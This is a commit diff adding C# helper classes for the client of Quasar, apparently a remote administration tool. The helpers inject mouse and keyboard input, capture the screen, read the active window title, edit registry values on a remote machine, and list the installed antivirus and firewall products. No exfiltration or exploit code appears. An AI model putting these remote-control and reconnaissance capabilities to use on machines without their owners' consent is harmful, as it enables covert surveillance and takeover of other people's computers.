initial commit
This commit is contained in:
@@ -0,0 +1,16 @@
|
||||
using System;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class DateTimeHelper
|
||||
{
|
||||
public static string GetLocalTimeZone()
|
||||
{
|
||||
var tz = TimeZoneInfo.Local;
|
||||
var tzOffset = tz.GetUtcOffset(DateTime.Now);
|
||||
var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : "";
|
||||
var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName;
|
||||
return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})";
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
using System.IO;
|
||||
using System.Runtime.Serialization.Json;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides methods to serialize and deserialize JSON.
|
||||
/// </summary>
|
||||
public static class JsonHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// Serializes an object to the respectable JSON string.
|
||||
/// </summary>
|
||||
public static string Serialize<T>(T o)
|
||||
{
|
||||
var s = new DataContractJsonSerializer(typeof(T));
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
s.WriteObject(ms, o);
|
||||
return Encoding.UTF8.GetString(ms.ToArray());
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deserializes a JSON string to the specified object.
|
||||
/// </summary>
|
||||
public static T Deserialize<T>(string json)
|
||||
{
|
||||
var s = new DataContractJsonSerializer(typeof(T));
|
||||
using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json)))
|
||||
{
|
||||
return (T)s.ReadObject(ms);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deserializes a JSON stream to the specified object.
|
||||
/// </summary>
|
||||
public static T Deserialize<T>(Stream stream)
|
||||
{
|
||||
var s = new DataContractJsonSerializer(typeof(T));
|
||||
return (T)s.ReadObject(stream);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,197 @@
|
||||
using Quasar.Client.Utilities;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class NativeMethodsHelper
|
||||
{
|
||||
private const int INPUT_MOUSE = 0;
|
||||
private const int INPUT_KEYBOARD = 1;
|
||||
|
||||
private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
|
||||
private const uint MOUSEEVENTF_LEFTUP = 0x0004;
|
||||
private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
|
||||
private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
|
||||
private const uint MOUSEEVENTF_WHEEL = 0x0800;
|
||||
private const uint KEYEVENTF_KEYDOWN = 0x0000;
|
||||
private const uint KEYEVENTF_KEYUP = 0x0002;
|
||||
|
||||
public static uint GetLastInputInfoTickCount()
|
||||
{
|
||||
NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
|
||||
lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo);
|
||||
lastInputInfo.dwTime = 0;
|
||||
NativeMethods.GetLastInputInfo(ref lastInputInfo);
|
||||
return lastInputInfo.dwTime;
|
||||
}
|
||||
|
||||
public static void DoMouseLeftClick(Point p, bool isMouseDown)
|
||||
{
|
||||
NativeMethods.INPUT[] inputs = {
|
||||
new NativeMethods.INPUT
|
||||
{
|
||||
type = INPUT_MOUSE,
|
||||
u = new NativeMethods.InputUnion
|
||||
{
|
||||
mi = new NativeMethods.MOUSEINPUT
|
||||
{
|
||||
dx = p.X,
|
||||
dy = p.Y,
|
||||
mouseData = 0,
|
||||
dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP,
|
||||
time = 0,
|
||||
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||
}
|
||||
|
||||
public static void DoMouseRightClick(Point p, bool isMouseDown)
|
||||
{
|
||||
NativeMethods.INPUT[] inputs = {
|
||||
new NativeMethods.INPUT
|
||||
{
|
||||
type = INPUT_MOUSE,
|
||||
u = new NativeMethods.InputUnion
|
||||
{
|
||||
mi = new NativeMethods.MOUSEINPUT
|
||||
{
|
||||
dx = p.X,
|
||||
dy = p.Y,
|
||||
mouseData = 0,
|
||||
dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP,
|
||||
time = 0,
|
||||
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||
}
|
||||
|
||||
public static void DoMouseMove(Point p)
|
||||
{
|
||||
NativeMethods.SetCursorPos(p.X, p.Y);
|
||||
}
|
||||
|
||||
public static void DoMouseScroll(Point p, bool scrollDown)
|
||||
{
|
||||
NativeMethods.INPUT[] inputs = {
|
||||
new NativeMethods.INPUT
|
||||
{
|
||||
type = INPUT_MOUSE,
|
||||
u = new NativeMethods.InputUnion
|
||||
{
|
||||
mi = new NativeMethods.MOUSEINPUT
|
||||
{
|
||||
dx = p.X,
|
||||
dy = p.Y,
|
||||
mouseData = scrollDown ? -120 : 120,
|
||||
dwFlags = MOUSEEVENTF_WHEEL,
|
||||
time = 0,
|
||||
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||
}
|
||||
|
||||
public static void DoKeyPress(byte key, bool keyDown)
|
||||
{
|
||||
NativeMethods.INPUT[] inputs = {
|
||||
new NativeMethods.INPUT
|
||||
{
|
||||
type = INPUT_KEYBOARD,
|
||||
u = new NativeMethods.InputUnion
|
||||
{
|
||||
ki = new NativeMethods.KEYBDINPUT
|
||||
{
|
||||
wVk = key,
|
||||
wScan = 0,
|
||||
dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP,
|
||||
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||
}
|
||||
|
||||
private const int SPI_GETSCREENSAVERRUNNING = 114;
|
||||
|
||||
public static bool IsScreensaverActive()
|
||||
{
|
||||
var running = IntPtr.Zero;
|
||||
|
||||
if (!NativeMethods.SystemParametersInfo(
|
||||
SPI_GETSCREENSAVERRUNNING,
|
||||
0,
|
||||
ref running,
|
||||
0))
|
||||
{
|
||||
// Something went wrong (Marshal.GetLastWin32Error)
|
||||
}
|
||||
|
||||
return running != IntPtr.Zero;
|
||||
}
|
||||
|
||||
private const uint DESKTOP_WRITEOBJECTS = 0x0080;
|
||||
private const uint DESKTOP_READOBJECTS = 0x0001;
|
||||
private const int WM_CLOSE = 16;
|
||||
private const uint SPI_SETSCREENSAVEACTIVE = 0x0011;
|
||||
private const uint SPIF_SENDWININICHANGE = 0x0002;
|
||||
|
||||
public static void DisableScreensaver()
|
||||
{
|
||||
var handle = NativeMethods.OpenDesktop("Screen-saver", 0,
|
||||
false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);
|
||||
|
||||
if (handle != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) =>
|
||||
{
|
||||
if (NativeMethods.IsWindowVisible(hWnd))
|
||||
NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
|
||||
|
||||
// Continue enumeration even if it fails
|
||||
return true;
|
||||
},
|
||||
IntPtr.Zero);
|
||||
NativeMethods.CloseDesktop(handle);
|
||||
}
|
||||
else
|
||||
{
|
||||
NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
|
||||
// We need to restart the counter for next screensaver according to
|
||||
// https://support.microsoft.com/en-us/kb/140723
|
||||
// (this may not be needed since we simulate mouse click afterwards)
|
||||
|
||||
var dummy = IntPtr.Zero;
|
||||
|
||||
// Doesn't really matter if this fails
|
||||
NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* TRUE */, ref dummy, SPIF_SENDWININICHANGE);
|
||||
|
||||
}
|
||||
|
||||
public static string GetForegroundWindowTitle()
|
||||
{
|
||||
StringBuilder sbTitle = new StringBuilder(1024);
|
||||
|
||||
NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);
|
||||
|
||||
return sbTitle.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
using Quasar.Common.Models;
|
||||
using Quasar.Common.Utilities;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class RegistryKeyHelper
|
||||
{
|
||||
private static string DEFAULT_VALUE = String.Empty;
|
||||
|
||||
/// <summary>
|
||||
/// Adds a value to the registry key.
|
||||
/// </summary>
|
||||
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||
/// <param name="path">The path to the registry key.</param>
|
||||
/// <param name="name">The name of the value.</param>
|
||||
/// <param name="value">The value.</param>
|
||||
/// <param name="addQuotes">If set to True, adds quotes to the value.</param>
|
||||
/// <returns>True on success, else False.</returns>
|
||||
public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, true))
|
||||
{
|
||||
if (key == null) return false;
|
||||
|
||||
if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
|
||||
value = "\"" + value + "\"";
|
||||
|
||||
key.SetValue(name, value);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Opens a read-only registry key.
|
||||
/// </summary>
|
||||
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||
/// <param name="path">The path to the registry key.</param>
|
||||
/// <returns></returns>
|
||||
public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes the specified value from the registry key.
|
||||
/// </summary>
|
||||
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||
/// <param name="path">The path to the registry key.</param>
|
||||
/// <param name="name">The name of the value to delete.</param>
|
||||
/// <returns>True on success, else False.</returns>
|
||||
public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, true))
|
||||
{
|
||||
if (key == null) return false;
|
||||
key.DeleteValue(name, true);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the provided value is the default value
|
||||
/// </summary>
|
||||
/// <param name="valueName">The name of the value</param>
|
||||
/// <returns>True if default value, else False</returns>
|
||||
public static bool IsDefaultValue(string valueName)
|
||||
{
|
||||
return String.IsNullOrEmpty(valueName);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds the default value to the list of values and returns them as an array.
|
||||
/// If default value already exists this function will only return the list as an array.
|
||||
/// </summary>
|
||||
/// <param name="values">The list with the values for which the default value should be added to</param>
|
||||
/// <returns>Array with all of the values including the default value</returns>
|
||||
public static RegValueData[] AddDefaultValue(List<RegValueData> values)
|
||||
{
|
||||
if(!values.Any(value => IsDefaultValue(value.Name)))
|
||||
{
|
||||
values.Add(GetDefaultValue());
|
||||
}
|
||||
return values.ToArray();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the default registry values
|
||||
/// </summary>
|
||||
/// <returns>A array with the default registry values</returns>
|
||||
public static RegValueData[] GetDefaultValues()
|
||||
{
|
||||
return new[] {GetDefaultValue()};
|
||||
}
|
||||
|
||||
public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null)
|
||||
{
|
||||
var newRegValue = new RegValueData {Name = name, Kind = kind};
|
||||
|
||||
if (value == null)
|
||||
newRegValue.Data = new byte[] { };
|
||||
else
|
||||
{
|
||||
switch (newRegValue.Kind)
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
newRegValue.Data = (byte[]) value;
|
||||
break;
|
||||
case RegistryValueKind.MultiString:
|
||||
newRegValue.Data = ByteConverter.GetBytes((string[]) value);
|
||||
break;
|
||||
case RegistryValueKind.DWord:
|
||||
newRegValue.Data = ByteConverter.GetBytes((uint) (int) value);
|
||||
break;
|
||||
case RegistryValueKind.QWord:
|
||||
newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value);
|
||||
break;
|
||||
case RegistryValueKind.String:
|
||||
case RegistryValueKind.ExpandString:
|
||||
newRegValue.Data = ByteConverter.GetBytes((string) value);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return newRegValue;
|
||||
}
|
||||
|
||||
private static RegValueData GetDefaultValue()
|
||||
{
|
||||
return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Windows.Forms;
|
||||
using Quasar.Client.Utilities;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class ScreenHelper
|
||||
{
|
||||
private const int SRCCOPY = 0x00CC0020;
|
||||
|
||||
public static Bitmap CaptureScreen(int screenNumber)
|
||||
{
|
||||
Rectangle bounds = GetBounds(screenNumber);
|
||||
Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppPArgb);
|
||||
|
||||
using (Graphics g = Graphics.FromImage(screen))
|
||||
{
|
||||
IntPtr destDeviceContext = g.GetHdc();
|
||||
IntPtr srcDeviceContext = NativeMethods.CreateDC("DISPLAY", null, null, IntPtr.Zero);
|
||||
|
||||
NativeMethods.BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext, bounds.X,
|
||||
bounds.Y, SRCCOPY);
|
||||
|
||||
NativeMethods.DeleteDC(srcDeviceContext);
|
||||
g.ReleaseHdc(destDeviceContext);
|
||||
}
|
||||
|
||||
return screen;
|
||||
}
|
||||
|
||||
public static Rectangle GetBounds(int screenNumber)
|
||||
{
|
||||
return Screen.AllScreens[screenNumber].Bounds;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
using System.Management;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class SystemHelper
|
||||
{
|
||||
public static string GetUptime()
|
||||
{
|
||||
try
|
||||
{
|
||||
string uptime = string.Empty;
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem WHERE Primary='true'"))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
DateTime lastBootUpTime = ManagementDateTimeConverter.ToDateTime(mObject["LastBootUpTime"].ToString());
|
||||
TimeSpan uptimeSpan = TimeSpan.FromTicks((DateTime.Now - lastBootUpTime).Ticks);
|
||||
|
||||
uptime = string.Format("{0}d : {1}h : {2}m : {3}s", uptimeSpan.Days, uptimeSpan.Hours, uptimeSpan.Minutes, uptimeSpan.Seconds);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(uptime))
|
||||
throw new Exception("Getting uptime failed");
|
||||
|
||||
return uptime;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return string.Format("{0}d : {1}h : {2}m : {3}s", 0, 0, 0, 0);
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetPcName()
|
||||
{
|
||||
return Environment.MachineName;
|
||||
}
|
||||
|
||||
public static string GetAntivirus()
|
||||
{
|
||||
try
|
||||
{
|
||||
string antivirusName = string.Empty;
|
||||
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
||||
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
||||
string query = "SELECT * FROM AntivirusProduct";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
antivirusName += mObject["displayName"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
antivirusName = StringHelper.RemoveLastChars(antivirusName);
|
||||
|
||||
return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetFirewall()
|
||||
{
|
||||
try
|
||||
{
|
||||
string firewallName = string.Empty;
|
||||
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
||||
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
||||
string query = "SELECT * FROM FirewallProduct";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
firewallName += mObject["displayName"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
firewallName = StringHelper.RemoveLastChars(firewallName);
|
||||
|
||||
return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user